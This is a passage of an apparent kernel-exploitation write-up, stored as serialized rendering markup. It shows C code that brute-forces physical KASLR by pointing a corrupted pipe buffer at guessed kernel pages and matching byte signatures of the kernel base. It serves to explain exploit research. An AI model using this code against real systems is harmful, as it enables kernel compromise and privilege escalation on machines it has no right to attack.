found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[60341],{"type":22,"tag":114,"props":60342,"children":60343},{"__ignoreMap":7},[60344,60351,60359,60367,60391,60424,60444,60484,60491,60535,60569,60596,60632,60639,60685,60692,60722,60735,60800,60807,60819,60826,60833,60840,60866,60873,60893,60905,60912,60919,60926],{"type":22,"tag":118,"props":60345,"children":60346},{"class":120,"line":121},[60347],{"type":22,"tag":118,"props":60348,"children":60349},{"style":125},[60350],{"type":28,"value":12317},{"type":22,"tag":118,"props":60352,"children":60353},{"class":120,"line":142},[60354],{"type":22,"tag":118,"props":60355,"children":60356},{"style":125},[60357],{"type":28,"value":60358},"// Bruteforce phys-KASLR\n",{"type":22,"tag":118,"props":60360,"children":60361},{"class":120,"line":177},[60362],{"type":22,"tag":118,"props":60363,"children":60364},{"style":125},[60365],{"type":28,"value":60366},"    uint64_t kernel_base;\n",{"type":22,"tag":118,"props":60368,"children":60369},{"class":120,"line":195},[60370,60374,60379,60383,60387],{"type":22,"tag":118,"props":60371,"children":60372},{"style":146},[60373],{"type":28,"value":48413},{"type":22,"tag":118,"props":60375,"children":60376},{"style":125},[60377],{"type":28,"value":60378}," found ",{"type":22,"tag":118,"props":60380,"children":60381},{"style":210},[60382],{"type":28,"value":282},{"type":22,"tag":118,"props":60384,"children":60385},{"style":146},[60386],{"type":28,"value":1678},{"type":22,"tag":118,"props":60388,"children":60389},{"style":125},[60390],{"type":28,"value":801},{"type":22,"tag":118,"props":60392,"children":60393},{"class":120,"line":244},[60394,60399,60403,60408,60412,60416,60420],{"type":22,"tag":118,"props":60395,"children":60396},{"style":146},[60397],{"type":28,"value":60398},"    uint8_t",{"type":22,"tag":118,"props":60400,"children":60401},{"style":204},[60402],{"type":28,"value":17081},{"type":22,"tag":118,"props":60404,"children":60405},{"style":125},[60406],{"type":28,"value":60407},"[PAGE_SIZE] ",{"type":22,"tag":118,"props":60409,"children":60410},{"style":210},[60411],{"type":28,"value":282},{"type":22,"tag":118,"props":60413,"children":60414},{"style":125},[60415],{"type":28,"value":47157},{"type":22,"tag":118,"props":60417,"children":60418},{"style":674},[60419],{"type":28,"value":6036},{"type":22,"tag":118,"props":60421,"children":60422},{"style":125},[60423],{"type":28,"value":4277},{"type":22,"tag":118,"props":60425,"children":60426},{"class":120,"line":253},[60427,60431,60435,60440],{"type":22,"tag":118,"props":60428,"children":60429},{"style":532},[60430],{"type":28,"value":57447},{"type":22,"tag":118,"props":60432,"children":60433},{"style":125},[60434],{"type":28,"value":540},{"type":22,"tag":118,"props":60436,"children":60437},{"style":1866},[60438],{"type":28,"value":60439},"\"[*] bruteforce phys-KASLR\"",{"type":22,"tag":118,"props":60441,"children":60442},{"style":125},[60443],{"type":28,"value":682},{"type":22,"tag":118,"props":60445,"children":60446},{"class":120,"line":263},[60447,60451,60455,60459,60463,60467,60471,60476,60480],{"type":22,"tag":118,"props":60448,"children":60449},{"style":1480},[60450],{"type":28,"value":5059},{"type":22,"tag":118,"props":60452,"children":60453},{"style":125},[60454],{"type":28,"value":842},{"type":22,"tag":118,"props":60456,"children":60457},{"style":146},[60458],{"type":28,"value":57575},{"type":22,"tag":118,"props":60460,"children":60461},{"style":125},[60462],{"type":28,"value":56485},{"type":22,"tag":118,"props":60464,"children":60465},{"style":210},[60466],{"type":28,"value":282},{"type":22,"tag":118,"props":60468,"children":60469},{"style":674},[60470],{"type":28,"value":5074},{"type":22,"tag":118,"props":60472,"children":60473},{"style":125},[60474],{"type":28,"value":60475},";; i",{"type":22,"tag":118,"props":60477,"children":60478},{"style":210},[60479],{"type":28,"value":53210},{"type":22,"tag":118,"props":60481,"children":60482},{"style":125},[60483],{"type":28,"value":3665},{"type":22,"tag":118,"props":60485,"children":60486},{"class":120,"line":318},[60487],{"type":22,"tag":118,"props":60488,"children":60489},{"style":125},[60490],{"type":28,"value":31125},{"type":22,"tag":118,"props":60492,"children":60493},{"class":120,"line":351},[60494,60499,60503,60508,60512,60517,60521,60526,60530],{"type":22,"tag":118,"props":60495,"children":60496},{"style":125},[60497],{"type":28,"value":60498},"        kernel_base ",{"type":22,"tag":118,"props":60500,"children":60501},{"style":210},[60502],{"type":28,"value":282},{"type":22,"tag":118,"props":60504,"children":60505},{"style":674},[60506],{"type":28,"value":60507}," 0x40",{"type":22,"tag":118,"props":60509,"children":60510},{"style":210},[60511],{"type":28,"value":11815},{"type":22,"tag":118,"props":60513,"children":60514},{"style":125},[60515],{"type":28,"value":60516}," ((PHYSICAL_ALIGN ",{"type":22,"tag":118,"props":60518,"children":60519},{"style":210},[60520],{"type":28,"value":671},{"type":22,"tag":118,"props":60522,"children":60523},{"style":125},[60524],{"type":28,"value":60525}," i) ",{"type":22,"tag":118,"props":60527,"children":60528},{"style":210},[60529],{"type":28,"value":14757},{"type":22,"tag":118,"props":60531,"children":60532},{"style":125},[60533],{"type":28,"value":60534}," PAGE_SHIFT);\n",{"type":22,"tag":118,"props":60536,"children":60537},{"class":120,"line":359},[60538,60543,60547,60551,60555,60560,60564],{"type":22,"tag":118,"props":60539,"children":60540},{"style":204},[60541],{"type":28,"value":60542},"        pipebuf",{"type":22,"tag":118,"props":60544,"children":60545},{"style":125},[60546],{"type":28,"value":593},{"type":22,"tag":118,"props":60548,"children":60549},{"style":204},[60550],{"type":28,"value":60265},{"type":22,"tag":118,"props":60552,"children":60553},{"style":210},[60554],{"type":28,"value":837},{"type":22,"tag":118,"props":60556,"children":60557},{"style":125},[60558],{"type":28,"value":60559}," vmemmap_base ",{"type":22,"tag":118,"props":60561,"children":60562},{"style":210},[60563],{"type":28,"value":3220},{"type":22,"tag":118,"props":60565,"children":60566},{"style":125},[60567],{"type":28,"value":60568}," kernel_base;\n",{"type":22,"tag":118,"props":60570,"children":60571},{"class":120,"line":368},[60572,60576,60580,60584,60588,60592],{"type":22,"tag":118,"props":60573,"children":60574},{"style":204},[60575],{"type":28,"value":60542},{"type":22,"tag":118,"props":60577,"children":60578},{"style":125},[60579],{"type":28,"value":593},{"type":22,"tag":118,"props":60581,"children":60582},{"style":204},[60583],{"type":28,"value":15885},{"type":22,"tag":118,"props":60585,"children":60586},{"style":210},[60587],{"type":28,"value":837},{"type":22,"tag":118,"props":60589,"children":60590},{"style":674},[60591],{"type":28,"value":5074},{"type":22,"tag":118,"props":60593,"children":60594},{"style":125},[60595],{"type":28,"value":801},{"type":22,"tag":118,"props":60597,"children":60598},{"class":120,"line":384},[60599,60603,60607,60611,60615,60620,60624,60628],{"type":22,"tag":118,"props":60600,"children":60601},{"style":204},[60602],{"type":28,"value":60542},{"type":22,"tag":118,"props":60604,"children":60605},{"style":125},[60606],{"type":28,"value":593},{"type":22,"tag":118,"props":60608,"children":60609},{"style":204},[60610],{"type":28,"value":11137},{"type":22,"tag":118,"props":60612,"children":60613},{"style":210},[60614],{"type":28,"value":837},{"type":22,"tag":118,"props":60616,"children":60617},{"style":125},[60618],{"type":28,"value":60619}," PAGE_SIZE ",{"type":22,"tag":118,"props":60621,"children":60622},{"style":210},[60623],{"type":28,"value":3220},{"type":22,"tag":118,"props":60625,"children":60626},{"style":674},[60627],{"type":28,"value":6535},{"type":22,"tag":118,"props":60629,"children":60630},{"style":125},[60631],{"type":28,"value":801},{"type":22,"tag":118,"props":60633,"children":60634},{"class":120,"line":417},[60635],{"type":22,"tag":118,"props":60636,"children":60637},{"style":125},[60638],{"type":28,"value":12317},{"type":22,"tag":118,"props":60640,"children":60641},{"class":120,"line":425},[60642,60647,60651,60655,60659,60663,60668,60672,60677,60681],{"type":22,"tag":118,"props":60643,"children":60644},{"style":125},[60645],{"type":28,"value":60646},"        for (",{"type":22,"tag":118,"props":60648,"children":60649},{"style":146},[60650],{"type":28,"value":21014},{"type":22,"tag":118,"props":60652,"children":60653},{"style":204},[60654],{"type":28,"value":10625},{"type":22,"tag":118,"props":60656,"children":60657},{"style":210},[60658],{"type":28,"value":837},{"type":22,"tag":118,"props":60660,"children":60661},{"style":674},[60662],{"type":28,"value":5074},{"type":22,"tag":118,"props":60664,"children":60665},{"style":125},[60666],{"type":28,"value":60667},"; j ",{"type":22,"tag":118,"props":60669,"children":60670},{"style":210},[60671],{"type":28,"value":559},{"type":22,"tag":118,"props":60673,"children":60674},{"style":125},[60675],{"type":28,"value":60676}," PIPE_SPRAY; j",{"type":22,"tag":118,"props":60678,"children":60679},{"style":210},[60680],{"type":28,"value":53210},{"type":22,"tag":118,"props":60682,"children":60683},{"style":125},[60684],{"type":28,"value":3665},{"type":22,"tag":118,"props":60686,"children":60687},{"class":120,"line":441},[60688],{"type":22,"tag":118,"props":60689,"children":60690},{"style":125},[60691],{"type":28,"value":33598},{"type":22,"tag":118,"props":60693,"children":60694},{"class":120,"line":475},[60695,60700,60704,60708,60713,60717],{"type":22,"tag":118,"props":60696,"children":60697},{"style":532},[60698],{"type":28,"value":60699},"            memset",{"type":22,"tag":118,"props":60701,"children":60702},{"style":125},[60703],{"type":28,"value":540},{"type":22,"tag":118,"props":60705,"children":60706},{"style":210},[60707],{"type":28,"value":1407},{"type":22,"tag":118,"props":60709,"children":60710},{"style":125},[60711],{"type":28,"value":60712},"data, ",{"type":22,"tag":118,"props":60714,"children":60715},{"style":674},[60716],{"type":28,"value":6036},{"type":22,"tag":118,"props":60718,"children":60719},{"style":125},[60720],{"type":28,"value":60721},", PAGE_SIZE);\n",{"type":22,"tag":118,"props":60723,"children":60724},{"class":120,"line":484},[60725,60730],{"type":22,"tag":118,"props":60726,"children":60727},{"style":146},[60728],{"type":28,"value":60729},"            int",{"type":22,"tag":118,"props":60731,"children":60732},{"style":125},[60733],{"type":28,"value":60734}," count;\n",{"type":22,"tag":118,"props":60736,"children":60737},{"class":120,"line":492},[60738,60743,60748,60752,60757,60761,60766,60771,60775,60779,60783,60788,60792,60796],{"type":22,"tag":118,"props":60739,"children":60740},{"style":1480},[60741],{"type":28,"value":60742},"            if",{"type":22,"tag":118,"props":60744,"children":60745},{"style":125},[60746],{"type":28,"value":60747}," (count ",{"type":22,"tag":118,"props":60749,"children":60750},{"style":210},[60751],{"type":28,"value":282},{"type":22,"tag":118,"props":60753,"children":60754},{"style":532},[60755],{"type":28,"value":60756}," read",{"type":22,"tag":118,"props":60758,"children":60759},{"style":125},[60760],{"type":28,"value":540},{"type":22,"tag":118,"props":60762,"children":60763},{"style":204},[60764],{"type":28,"value":60765},"pfd",{"type":22,"tag":118,"props":60767,"children":60768},{"style":125},[60769],{"type":28,"value":60770},"[j][",{"type":22,"tag":118,"props":60772,"children":60773},{"style":674},[60774],{"type":28,"value":6036},{"type":22,"tag":118,"props":60776,"children":60777},{"style":125},[60778],{"type":28,"value":25011},{"type":22,"tag":118,"props":60780,"children":60781},{"style":210},[60782],{"type":28,"value":1407},{"type":22,"tag":118,"props":60784,"children":60785},{"style":125},[60786],{"type":28,"value":60787},"data, PAGE_SIZE) ",{"type":22,"tag":118,"props":60789,"children":60790},{"style":210},[60791],{"type":28,"value":559},{"type":22,"tag":118,"props":60793,"children":60794},{"style":674},[60795],{"type":28,"value":5074},{"type":22,"tag":118,"props":60797,"children":60798},{"style":125},[60799],{"type":28,"value":3665},{"type":22,"tag":118,"props":60801,"children":60802},{"class":120,"line":501},[60803],{"type":22,"tag":118,"props":60804,"children":60805},{"style":125},[60806],{"type":28,"value":33634},{"type":22,"tag":118,"props":60808,"children":60809},{"class":120,"line":519},[60810,60815],{"type":22,"tag":118,"props":60811,"children":60812},{"style":1480},[60813],{"type":28,"value":60814},"                continue",{"type":22,"tag":118,"props":60816,"children":60817},{"style":125},[60818],{"type":28,"value":801},{"type":22,"tag":118,"props":60820,"children":60821},{"class":120,"line":606},[60822],{"type":22,"tag":118,"props":60823,"children":60824},{"style":125},[60825],{"type":28,"value":1827},{"type":22,"tag":118,"props":60827,"children":60828},{"class":120,"line":615},[60829],{"type":22,"tag":118,"props":60830,"children":60831},{"style":125},[60832],{"type":28,"value":12317},{"type":22,"tag":118,"props":60834,"children":60835},{"class":120,"line":685},[60836],{"type":22,"tag":118,"props":60837,"children":60838},{"emptyLinePlaceholder":15},[60839],{"type":28,"value":250},{"type":22,"tag":118,"props":60841,"children":60842},{"class":120,"line":699},[60843,60848,60853,60857,60861],{"type":22,"tag":118,"props":60844,"children":60845},{"style":125},[60846],{"type":28,"value":60847},"            if (",{"type":22,"tag":118,"props":60849,"children":60850},{"style":131},[60851],{"type":28,"value":60852},"is_kernel_base",{"type":22,"tag":118,"props":60854,"children":60855},{"style":125},[60856],{"type":28,"value":540},{"type":22,"tag":118,"props":60858,"children":60859},{"style":131},[60860],{"type":28,"value":5715},{"type":22,"tag":118,"props":60862,"children":60863},{"style":125},[60864],{"type":28,"value":60865},")) // [1] identify kernel base\n",{"type":22,"tag":118,"props":60867,"children":60868},{"class":120,"line":729},[60869],{"type":22,"tag":118,"props":60870,"children":60871},{"style":125},[60872],{"type":28,"value":33634},{"type":22,"tag":118,"props":60874,"children":60875},{"class":120,"line":771},[60876,60881,60885,60889],{"type":22,"tag":118,"props":60877,"children":60878},{"style":125},[60879],{"type":28,"value":60880},"                found ",{"type":22,"tag":118,"props":60882,"children":60883},{"style":210},[60884],{"type":28,"value":282},{"type":22,"tag":118,"props":60886,"children":60887},{"style":146},[60888],{"type":28,"value":1537},{"type":22,"tag":118,"props":60890,"children":60891},{"style":125},[60892],{"type":28,"value":801},{"type":22,"tag":118,"props":60894,"children":60895},{"class":120,"line":785},[60896,60901],{"type":22,"tag":118,"props":60897,"children":60898},{"style":1480},[60899],{"type":28,"value":60900},"                break",{"type":22,"tag":118,"props":60902,"children":60903},{"style":125},[60904],{"type":28,"value":801},{"type":22,"tag":118,"props":60906,"children":60907},{"class":120,"line":804},[60908],{"type":22,"tag":118,"props":60909,"children":60910},{"style":125},[60911],{"type":28,"value":1827},{"type":22,"tag":118,"props":60913,"children":60914},{"class":120,"line":812},[60915],{"type":22,"tag":118,"props":60916,"children":60917},{"style":125},[60918],{"type":28,"value":1835},{"type":22,"tag":118,"props":60920,"children":60921},{"class":120,"line":821},[60922],{"type":22,"tag":118,"props":60923,"children":60924},{"emptyLinePlaceholder":15},[60925],{"type":28,"value":250},{"type":22,"tag":118,"props":60927,"children":60928},{"class":120,"line":900},[60929],{"type":22,"tag":118,"props":60930,"children":60931},{"style":125},[60932],{"type":28,"value":12317},{"type":22,"tag":31,"props":60934,"children":60935},{},[60936,60938,60942,60944,60950,60952,60956],{"type":28,"value":60937},"Notice that at ",{"type":22,"tag":118,"props":60939,"children":60940},{},[60941],{"type":28,"value":6026},{"type":28,"value":60943}," we call the ",{"type":22,"tag":114,"props":60945,"children":60947},{"className":60946},[],[60948],{"type":28,"value":60949},"is_kernel_base()",{"type":28,"value":60951}," function. This is a function based on lau's exploit ",{"type":22,"tag":118,"props":60953,"children":60954},{},[60955],{"type":28,"value":20074},{"type":28,"value":60957}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":22,"tag":107,"props":60959,"children":60961},{"className":31048,"code":60960,"language":31050,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[60962],{"type":22,"tag":114,"props":60963,"children":60964},{"__ignoreMap":7},[60965,60972,61002,61009,61017,61024,61032,61103,61165,61180,61187,61195,61263,61325,61386,61447,61509,61571,61632,61693,61754,61815,61876,61891,61898,61913,61920],{"type":22,"tag":118,"props":60966,"children":60967},{"class":120,"line":121},[60968],{"type":22,"tag":118,"props":60969,"children":60970},{"style":125},[60971],{"type":28,"value":12317},{"type":22,"tag":118,"props":60973,"children":60974},{"class":120,"line":142},[60975,60980,60985,60990,60994,60998],{"type":22,"tag":118,"props":60976,"children":60977},{"style":125},[60978],{"type":28,"value":60979},"static bool is_kernel_base(",{"type":22,"tag":118,"props":60981,"children":60982},{"style":146},[60983],{"type":28,"value":60984},"unsigned",{"type":22,"tag":118,"props":60986,"children":60987},{"style":146},[60988],{"type":28,"value":60989}," char",{"type":22,"tag":118,"props":60991,"children":60992},{"style":146},[60993],{"type":28,"value":11815},{"type":22,"tag":118,"props":60995,"children":60996},{"style":204},[60997],{"type":28,"value":32625},{"type":22,"tag":118,"props":60999,"children":61000},{"style":125},[61001],{"type":28,"value":3665},{"type":22,"tag":118,"props":61003,"children":61004},{"class":120,"line":177},[61005],{"type":22,"tag":118,"props":61006,"children":61007},{"style":125},[61008],{"type":28,"value":12879},{"type":22,"tag":118,"props":61010,"children":61011},{"class":120,"line":195},[61012],{"type":22,"tag":118,"props":61013,"children":61014},{"style":257},[61015],{"type":28,"value":61016},"    // thanks lau :)\n",{"type":22,"tag":118,"props":61018,"children":61019},{"class":120,"line":244},[61020],{"type":22,"tag":118,"props":61021,"children":61022},{"emptyLinePlaceholder":15},[61023],{"type":28,"value":250},{"type":22,"tag":118,"props":61025,"children":61026},{"class":120,"line":253},[61027],{"type":22,"tag":118,"props":61028,"children":61029},{"style":257},[61030],{"type":28,"value":61031},"    // get-sig kernel_runtime_1\n",{"type":22,"tag":118,"props":61033,"children":61034},{"class":120,"line":263},[61035,61039,61043,61048,61053,61057,61062,61066,61070,61075,61079,61083,61087,61091,61095,61099],{"type":22,"tag":118,"props":61036,"children":61037},{"style":1480},[61038],{"type":28,"value":2159},{"type":22,"tag":118,"props":61040,"children":61041},{"style":125},[61042],{"type":28,"value":842},{"type":22,"tag":118,"props":61044,"children":61045},{"style":532},[61046],{"type":28,"value":61047},"memcmp",{"type":22,"tag":118,"props":61049,"children":61050},{"style":125},[61051],{"type":28,"value":61052},"(addr ",{"type":22,"tag":118,"props":61054,"children":61055},{"style":210},[61056],{"type":28,"value":3220},{"type":22,"tag":118,"props":61058,"children":61059},{"style":674},[61060],{"type":28,"value":61061}," 0x0",{"type":22,"tag":118,"props":61063,"children":61064},{"style":125},[61065],{"type":28,"value":231},{"type":22,"tag":118,"props":61067,"children":61068},{"style":1866},[61069],{"type":28,"value":22027},{"type":22,"tag":118,"props":61071,"children":61072},{"style":50313},[61073],{"type":28,"value":61074},"\\x48\\x8d\\x25\\x51\\x3f",{"type":22,"tag":118,"props":61076,"children":61077},{"style":1866},[61078],{"type":28,"value":22027},{"type":22,"tag":118,"props":61080,"children":61081},{"style":125},[61082],{"type":28,"value":231},{"type":22,"tag":118,"props":61084,"children":61085},{"style":674},[61086],{"type":28,"value":20074},{"type":22,"tag":118,"props":61088,"children":61089},{"style":125},[61090],{"type":28,"value":588},{"type":22,"tag":118,"props":61092,"children":61093},{"style":210},[61094],{"type":28,"value":302},{"type":22,"tag":118,"props":61096,"children":61097},{"style":674},[61098],{"type":28,"value":5074},{"type":22,"tag":118,"props":61100,"children":61101},{"style":210},[61102],{"type":28,"value":54625},{"type":22,"tag":118,"props":61104,"children":61105},{"class":120,"line":318},[61106,61111,61115,61119,61124,61128,61132,61137,61141,61145,61149,61153,61157,61161],{"type":22,"tag":118,"props":61107,"children":61108},{"style":532},[61109],{"type":28,"value":61110},"        memcmp",{"type":22,"tag":118,"props":61112,"children":61113},{"style":125},[61114],{"type":28,"value":61052},{"type":22,"tag":118,"props":61116,"children":61117},{"style":210},[61118],{"type":28,"value":3220},{"type":22,"tag":118,"props":61120,"children":61121},{"style":674},[61122],{"type":28,"value":61123}," 0x7",{"type":22,"tag":118,"props":61125,"children":61126},{"style":125},[61127],{"type":28,"value":231},{"type":22,"tag":118,"props":61129,"children":61130},{"style":1866},[61131],{"type":28,"value":22027},{"type":22,"tag":118,"props":61133,"children":61134},{"style":50313},[61135],{"type":28,"value":61136},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":22,"tag":118,"props":61138,"children":61139},{"style":1866},[61140],{"type":28,"value":22027},{"type":22,"tag":118,"props":61142,"children":61143},{"style":125},[61144],{"type":28,"value":231},{"type":22,"tag":118,"props":61146,"children":61147},{"style":674},[61148],{"type":28,"value":56612},{"type":22,"tag":118,"props":61150,"children":61151},{"style":125},[61152],{"type":28,"value":588},{"type":22,"tag":118,"props":61154,"children":61155},{"style":210},[61156],{"type":28,"value":302},{"type":22,"tag":118,"props":61158,"children":61159},{"style":674},[61160],{"type":28,"value":5074},{"type":22,"tag":118,"props":61162,"children":61163},{"style":125},[61164],{"type":28,"value":3665},{"type":22,"tag":118,"props":61166,"children":61167},{"class":120,"line":351},[61168,61172,61176],{"type":22,"tag":118,"props":61169,"children":61170},{"style":1480},[61171],{"type":28,"value":2223},{"type":22,"tag":118,"props":61173,"children":61174},{"style":146},[61175],{"type":28,"value":1537},{"type":22,"tag":118,"props":61177,"children":61178},{"style":125},[61179],{"type":28,"value":801},{"type":22,"tag":118,"props":61181,"children":61182},{"class":120,"line":359},[61183],{"type":22,"tag":118,"props":61184,"children":61185},{"emptyLinePlaceholder":15},[61186],{"type":28,"value":250},{"type":22,"tag":118,"props":61188,"children":61189},{"class":120,"line":368},[61190],{"type":22,"tag":118,"props":61191,"children":61192},{"style":257},[61193],{"type":28,"value":61194},"    // get-sig kernel_runtime_2\n",{"type":22,"tag":118,"props":61196,"children":61197},{"class":120,"line":384},[61198,61202,61206,61210,61214,61218,61222,61226,61230,61235,61239,61243,61247,61251,61255,61259],{"type":22,"tag":118,"props":61199,"children":61200},{"style":1480},[61201],{"type":28,"value":2159},{"type":22,"tag":118,"props":61203,"children":61204},{"style":125},[61205],{"type":28,"value":842},{"type":22,"tag":118,"props":61207,"children":61208},{"style":532},[61209],{"type":28,"value":61047},{"type":22,"tag":118,"props":61211,"children":61212},{"style":125},[61213],{"type":28,"value":61052},{"type":22,"tag":118,"props":61215,"children":61216},{"style":210},[61217],{"type":28,"value":3220},{"type":22,"tag":118,"props":61219,"children":61220},{"style":674},[61221],{"type":28,"value":61061},{"type":22,"tag":118,"props":61223,"children":61224},{"style":125},[61225],{"type":28,"value":231},{"type":22,"tag":118,"props":61227,"children":61228},{"style":1866},[61229],{"type":28,"value":22027},{"type":22,"tag":118,"props":61231,"children":61232},{"style":50313},[61233],{"type":28,"value":61234},"\\xfc\\x0f\\x01\\x15",{"type":22,"tag":118,"props":61236,"children":61237},{"style":1866},[61238],{"type":28,"value":22027},{"type":22,"tag":118,"props":61240,"children":61241},{"style":125},[61242],{"type":28,"value":231},{"type":22,"tag":118,"props":61244,"children":61245},{"style":674},[61246],{"type":28,"value":19493},{"type":22,"tag":118,"props":61248,"children":61249},{"style":125},[61250],{"type":28,"value":588},{"type":22,"tag":118,"props":61252,"children":61253},{"style":210},[61254],{"type":28,"value":302},{"type":22,"tag":118,"props":61256,"children":61257},{"style":674},[61258],{"type":28,"value":5074},{"type":22,"tag":118,"props":61260,"children":61261},{"style":210},[61262],{"type":28,"value":54625},{"type":22,"tag":118,"props":61264,"children":61265},{"class":120,"line":417},[61266,61270,61274,61278,61283,61287,61291,61296,61300,61304,61309,61313,61317,61321],{"type":22,"tag":118,"props":61267,"children":61268},{"style":532},[61269],{"type":28,"value":61110},{"type":22,"tag":118,"props":61271,"children":61272},{"style":125},[61273],{"type":28,"value":61052},{"type":22,"tag":118,"props":61275,"children":61276},{"style":210},[61277],{"type":28,"value":3220},{"type":22,"tag":118,"props":61279,"children":61280},{"style":674},[61281],{"type":28,"value":61282}," 0x8",{"type":22,"tag":118,"props":61284,"children":61285},{"style":125},[61286],{"type":28,"value":231},{"type":22,"tag":118,"props":61288,"children":61289},{"style":1866},[61290],{"type":28,"value":22027},{"type":22,"tag":118,"props":61292,"children":61293},{"style":50313},[61294],{"type":28,"value":61295},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":22,"tag":118,"props":61297,"children":61298},{"style":1866},[61299],{"type":28,"value":22027},{"type":22,"tag":118,"props":61301,"children":61302},{"style":125},[61303],{"type":28,"value":231},{"type":22,"tag":118,"props":61305,"children":61306},{"style":674},[61307],{"type":28,"value":61308},"12",{"type":22,"tag":118,"props":61310,"children":61311},{"style":125},[61312],{"type":28,"value":588},{"type":22,"tag":118,"props":61314,"children":61315},{"style":210},[61316],{"type":28,"value":302},{"type":22,"tag":118,"props":61318,"children":61319},{"style":674},[61320],{"type":28,"value":5074},{"type":22,"tag":118,"props":61322,"children":61323},{"style":210},[61324],{"type":28,"value":54625},{"type":22,"tag":118,"props":61326,"children":61327},{"class":120,"line":425},[61328,61332,61336,61340,61345,61349,61353,61358,61362,61366,61370,61374,61378,61382],{"type":22,"tag":118,"props":61329,"children":61330},{"style":532},[61331],{"type":28,"value":61110},{"type":22,"tag":118,"props":61333,"children":61334},{"style":125},[61335],{"type":28,"value":61052},{"type":22,"tag":118,"props":61337,"children":61338},{"style":210},[61339],{"type":28,"value":3220},{"type":22,"tag":118,"props":61341,"children":61342},{"style":674},[61343],{"type":28,"value":61344}," 0x18",{"type":22,"tag":118,"props":61346,"children":61347},{"style":125},[61348],{"type":28,"value":231},{"type":22,"tag":118,"props":61350,"children":61351},{"style":1866},[61352],{"type":28,"value":22027},{"type":22,"tag":118,"props":61354,"children":61355},{"style":50313},[61356],{"type":28,"value":61357},"\\x89\\xde\\x8b\\x0d",{"type":22,"tag":118,"props":61359,"children":61360},{"style":1866},[61361],{"type":28,"value":22027},{"type":22,"tag":118,"props":61363,"children":61364},{"style":125},[61365],{"type":28,"value":231},{"type":22,"tag":118,"props":61367,"children":61368},{"style":674},[61369],{"type":28,"value":19493},{"type":22,"tag":118,"props":61371,"children":61372},{"style":125},[61373],{"type":28,"value":588},{"type":22,"tag":118,"props":61375,"children":61376},{"style":210},[61377],{"type":28,"value":302},{"type":22,"tag":118,"props":61379,"children":61380},{"style":674},[61381],{"type":28,"value":5074},{"type":22,"tag":118,"props":61383,"children":61384},{"style":210},[61385],{"type":28,"value":54625},{"type":22,"tag":118,"props":61387,"children":61388},{"class":120,"line":441},[61389,61393,61397,61401,61406,61410,61414,61419,61423,61427,61431,61435,61439,61443],{"type":22,"tag":118,"props":61390,"children":61391},{"style":532},[61392],{"type":28,"value":61110},{"type":22,"tag":118,"props":61394,"children":61395},{"style":125},[61396],{"type":28,"value":61052},{"type":22,"tag":118,"props":61398,"children":61399},{"style":210},[61400],{"type":28,"value":3220},{"type":22,"tag":118,"props":61402,"children":61403},{"style":674},[61404],{"type":28,"value":61405}," 0x20",{"type":22,"tag":118,"props":61407,"children":61408},{"style":125},[61409],{"type":28,"value":231},{"type":22,"tag":118,"props":61411,"children":61412},{"style":1866},[61413],{"type":28,"value":22027},{"type":22,"tag":118,"props":61415,"children":61416},{"style":50313},[61417],{"type":28,"value":61418},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":22,"tag":118,"props":61420,"children":61421},{"style":1866},[61422],{"type":28,"value":22027},{"type":22,"tag":118,"props":61424,"children":61425},{"style":125},[61426],{"type":28,"value":231},{"type":22,"tag":118,"props":61428,"children":61429},{"style":674},[61430],{"type":28,"value":20386},{"type":22,"tag":118,"props":61432,"children":61433},{"style":125},[61434],{"type":28,"value":588},{"type":22,"tag":118,"props":61436,"children":61437},{"style":210},[61438],{"type":28,"value":302},{"type":22,"tag":118,"props":61440,"children":61441},{"style":674},[61442],{"type":28,"value":5074},{"type":22,"tag":118,"props":61444,"children":61445},{"style":210},[61446],{"type":28,"value":54625},{"type":22,"tag":118,"props":61448,"children":61449},{"class":120,"line":475},[61450,61454,61